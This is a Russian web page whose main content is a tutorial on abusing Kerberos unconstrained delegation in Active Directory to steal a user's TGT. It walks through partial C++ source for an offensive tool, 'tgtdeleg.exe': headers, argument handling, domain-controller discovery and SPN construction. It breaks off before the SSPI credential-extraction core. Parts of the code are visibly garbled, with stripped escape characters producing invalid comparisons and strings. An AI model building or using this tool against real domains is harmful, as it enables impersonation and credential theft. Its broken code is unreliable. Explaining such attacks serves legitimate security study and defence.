Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?
При неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает?
Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION
(он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE
. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.
Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.
Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.
Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.
Чтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:
Итоговый алгоритм достаточно простой:
Итак, сначала создаем файл Header.
, в котором указываем все нужные заголовочные файлы, подгружаемые либы, а также прототип одной‑единственной функции.
#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")
DWORD TgtDeleg(LPCWSTR);
Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN.
Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
setlocale(LC_ALL, "");
ShowAwesomeBanner();
if (argc != 3) {ShowUsage();
}
....}void ShowUsage() {
std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>ntEx: tgtdeleg.exe 1 cringe.lab" << std::endl;
std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>ntEx: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;
exit(-1);}
Информация об использовании инструментаЕсли же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция GetDomainController(
.
LPCWSTR targetname = NULL;
switch (*argv[1]) {
case '1':
targetname = GetDomainController(argv[2]);
break;
...
Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции DsGetDcName(
.
LPCWSTR GetDomainController(wchar_t* domainName) {
PDOMAIN_CONTROLLER_INFO dcInfo = NULL;
DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);
if (err != ERROR_SUCCESS) {
std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl;
exit(-1);
}
return dcInfo->DomainControllerName;
}
После получения имени убираем из него первые два символа слеша (так как функция вернула dc01
, а нам нужно просто dc01
), а затем добавляем к полученному имени службу CIFS. В итоге у нас появляется валидный SPN на службу CIFS контроллера домена.
targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
LPCWSTR SPN = addCIFS(targetname);
Функция removeLeadingCharacters
просто чуть‑чуть смещает указатель на полученную строку, чтобы первые два символа как бы пропали.
LPCWSTR stringPtr = originalString;
if (stringPtr[0] == L'' && stringPtr[1] == L'') {stringPtr += 2;
}
return stringPtr;}
А функция addCIFS(
добавляет строку CIFS/
к имени компьютера.
LPCWSTR addCIFS(LPCWSTR originalString) {
size_t originalSize = wcslen(originalString);
size_t cifsSize = 5;
size_t newSize = originalSize + cifsSize + 1;
LPWSTR newString = new WCHAR[newSize];
wcscpy_s(newString, newSize, L"CIFS/");
wcscat_s(newString, newSize, originalString);
return newString;
}
Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию TgtDeleg(
, в которой реализована логика получения сессионного ключа и блоба AP-REQ.
case '2':
if (TgtDeleg(argv[2]) == 0) {
std::wcout << L"[+] TgtDeleg Success" << std::endl;
return 0;
}
else {
std::wcout << L"[-] TgtDeleg Error" << std::endl;
return -1;
}
break;
default:
std::wcout << L"[-] No such mode" << std::endl;
ShowUsage();
return 0;
}
Переходим в сердце программы — в функцию TgtDeleg(
. Она принимает один‑единственный аргумент — это SPN целевой службы. Затем начинается, как кто‑то очень интересно выразился, «магия SSPI». В действительности никакой магии нет. SSPI можно считать эдакой апишкой, через которую разработчики могут связываться с поставщиками безопасности (Security Packages). Возможности SSPI очень большие: шифрование, подпись, выстраивание контекста. Именно функции SSPI позволят нам сымитировать обращение к службе с неограниченным делегированием.
|
|